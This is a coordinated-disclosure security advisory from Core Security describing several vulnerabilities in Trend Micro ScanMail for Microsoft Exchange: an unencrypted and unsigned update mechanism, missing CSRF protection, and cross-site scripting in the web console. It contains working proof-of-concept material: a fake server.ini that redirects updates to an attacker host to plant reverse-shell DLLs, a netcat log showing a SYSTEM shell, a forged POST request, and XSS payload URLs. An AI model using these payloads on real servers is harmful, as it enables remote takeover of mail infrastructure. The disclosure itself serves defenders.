CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:H/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS
Percentile
66.3%
**Title:**Trend Micro ScanMail for Microsoft Exchange Multiple Vulnerabilities
**Advisory ID:**CORE-2017-0007
Advisory URL:https://www.coresecurity.com/core-labs/advisories/trend-micro-scanmail-for-microsoft-exchange-multiple-vulnerabilities
**Date published:**2017-10-26
**Date of last update:**2017-10-26
**Vendors contacted:**Trend Micro
**Release mode:**Coordinated release
**Class:**Cleartext Transmission of Sensitive Information [CWE-319], Insufficient Verification of Data Authenticity [CWE-345], Cross-Site Request Forgery [CWE-352], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**Yes
CVE Name:CVE-2017-14090, CVE-2017-14091, CVE-2017-14092, CVE-2017-14093, CVE-2017-14093
Trend Micro’s website states that:
ScanMail [1] protects Exchange Server 2016, Exchange Server 2013, and Exchange Server 2010. Use the ScanMail installation program to quickly install ScanMail to one or more, local or remote, Exchange servers. Once installed, ScanMail can protect your servers in real time against viruses/malware, Trojans, worms, and spyware/grayware. ScanMail sustains business and network integrity by screening out spam messages and messages containing undesirable or unwanted content. ScanMail monitors and protects sensitive information that is travelling across your network.
Vulnerabilities were found in the ScanMail for Exchange update mechanism and the Web-based console that is bundled with the product, allowing remote code execution as SYSTEM.
Other products and versions might be affected, but they were not tested.
Trend Micro published the following Security Notes:
These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
Trend Micro ScanMail for Exchange uses an insecure update mechanism that would allow an attacker to overwrite sensitive files, including binaries, and achieve remote code execution as SYSTEM.
This vulnerability is triggered when the update packages are downloaded from alternative sources instead of the ActiveUpdate servers. This functionality can be configured from the Web-based console. By exploiting vulnerabilities 7.3, 7.4, or 7.5, an attacker would be able to set an arbitrary download source and trigger the vulnerable update mechanism.
The vulnerabilities presented in sections 7.1 and 7.2 describe how an attacker could create a malicious update file to overwrite sensitive files and gain SYSTEM access.
[CVE-2017-14090] Communication to the update servers is unencrypted.
The application attempts to download a zip file named ini_xml.zip, which contains a server.ini file that describes from where to download engine updates, signatures, etc., as well as some metadata of each file.
Additional updates are also downloaded via HTTP by default.
This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data.
[CVE-2017-14091] Update packages are signed and checked when they are downloaded from the ActiveUpdate server. However, the application allows users to configure alternative download sources to retrieve the packages.
These packages are not signed or validated in any form other than matching the expected size described in the server.ini file.
An attacker can overwrite sensitive files in the ScanMail’s directory, including DLLs. Some interesting examples are the vsapi64.dll and BPMNT.dll files, which result in code execution in the context of the application, which is running with SYSTEM privileges.
The following is a proof of concept to demonstrate the vulnerability:
Create two DLL files that will open a reverse shell connection to the attacker’s machine. Name these files vsapi64.dll and BPMNT.dll and place them in a zip archive named engv_x64dll_v9999-1004.zip.
Create the fake server.ini file with the following contents. Note that the size field should match the zip file size.
; ======================================= ; ActiveUpdate 1.2 US ; Last modified by AUPD01
04/11/2017 ; ======================================= [Common] Version=1.3 CertExpireDate=Jul
28 08:52:40 2019 GMT [Server] AvailableServer=1 Server.1=http://<attackerIP> AltServer=http://<attackerIP>
Https=http://<attackerIP> [ENGINE] E.20000100=VSAPI_X64_DLL,engine/engv_x64dll_v9999-1004.zip,9.999.1004,2740,
6.510.1002 E.48000126=ATSE_X64_DLL,engine/atse64_win64_v9867-1014.zip,9.867.1014,1676594,6.510.1002
The next time an update is launched, our file will be downloaded and the DLLs overwritten.
$ nc -lvp 9999 Listening on [0.0.0.0] (family 0, port 9999) Connection from [192.168.1.111]
port 9999 [tcp/*] accepted (family 2, sport 55111) Microsoft Windows [Version 6.1.7601] Copyright
(c) 2009 Microsoft Corporation. All rights reserved. C:\Program Files\Trend Micro\Smex>whoami nt authority\system
[CVE-2017-14092] There are no Anti-CSRF tokens in any forms on the web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain.
Proof of concept request to set the update server to an arbitrary source:
POST /smex/cgiDispatcher.exe?Page=updates/Source.htm&Locale=&CurPage= HTTP/1.1 Host:
server:16372 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded
Content-Length: 172 Cookie: AccountCookie=0; asImportInit=initial; page=VirusScan;
currenttag=Target; TemplateImportInit=initial; session=spJi3es456TqFWSx053UgA; key=2079230218296;
stamp=15023645 Connection: close Upgrade-Insecure-Requests: 1 txtUpdateFrom=updates%2FManual.htm
&IsPwdChanged=false&txtEncryptedPwd=&optSourceType=alternative_au_server_checked&txtOtherSource=http
%3A%2F%2Fattacker&FormAction=Save
[CVE-2017-14093] The following parameters of the logs query page are vulnerable to cross-site-scripting: optRemoteLog, optVirusSubType, txtDateFrom, txtDateTo.
The following is a proof of concept to demonstrate the vulnerability:
http://<serverIP>:16372/smex/cgiDispatcher.exe?Page=logs\Query.htm&Locale=&CurPage=&txt
TargetPage=&optRemoteLog=rggca%22%3e%3cscript%3ealert(1)%3c%2fscript%3ejq25cuwjjyv&txt
DateFrom=05%2F26%2F2017+13%3A36&txtDateTo=05%2F27%2F2017+13%3A36&txtServerGroupIndex=&txt
DateFrom_display=5%2F26%2F2017&optHourFrom=13&optMinuteFrom=36&txtDateTo_display=5%2F27%2F
2017&optHourTo=13&optMinuteTo=36&optType=VirusScan&optVirusSubType=All&optDDASubType=All&opt
WTPSubType=All&txtIpAddress=&chkLogType=0&lstEventType=1%2C2%2C3&txtDescription=&lstSourceType
=1%2C2%2C3&txtKeyword=&optStatusType=All&txtKeywordFoundin=&txtKeywordSender=&txtKeyword
Recipient=&txtKeywordSubject=&txtKeywordFilename=&txtKeywordFilenameOrURL=&optSort=filter_
scan_time&optSortType=1&txtNumPerPage=15&optServer=Current+Server&txtPageNum=0
[CVE-2017-14093] The following parameters of the quarantine query page are vulnerable to cross-site-scripting: optReasons, optRemoteLog, txtDateFrom, txtDateTo.
The following is a proof of concept to demonstrate the vulnerability:
http://<serverIP>:16372/smex/cgiDispatcher.exe?Page=quarantine\Query.htm&Locale=&CurPage
=&optRemoteLog=&txtDateFrom=05%2F26%2F2017+13%3A36&txtDateTo=05%2F27%2F2017+13%3A36&txtServer
GroupIndex=&txtDateFrom_display=5%2F26%2F2017&optHourFrom=13&optMinuteFrom=36&txtDateTo_display
=5%2F27%2F2017&optHourTo=13&optMinuteTo=36&optReasons=0jw2cy%22%3e%3cscript%3ealert(1)%3c%2f
script%3et6l08en92ns&optResend=0&txtSender=&txtRecipient=&txtSubject=&optSort=filter_scan_time
&optSortType=1&txtNumPerPage=15&optServer=Current+Server&txtPageNum=&txtPageNum2=
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs
Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company’s threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia.
The contents of this advisory are copyright © 2017 Core Security and © 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:H/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS
Percentile
66.3%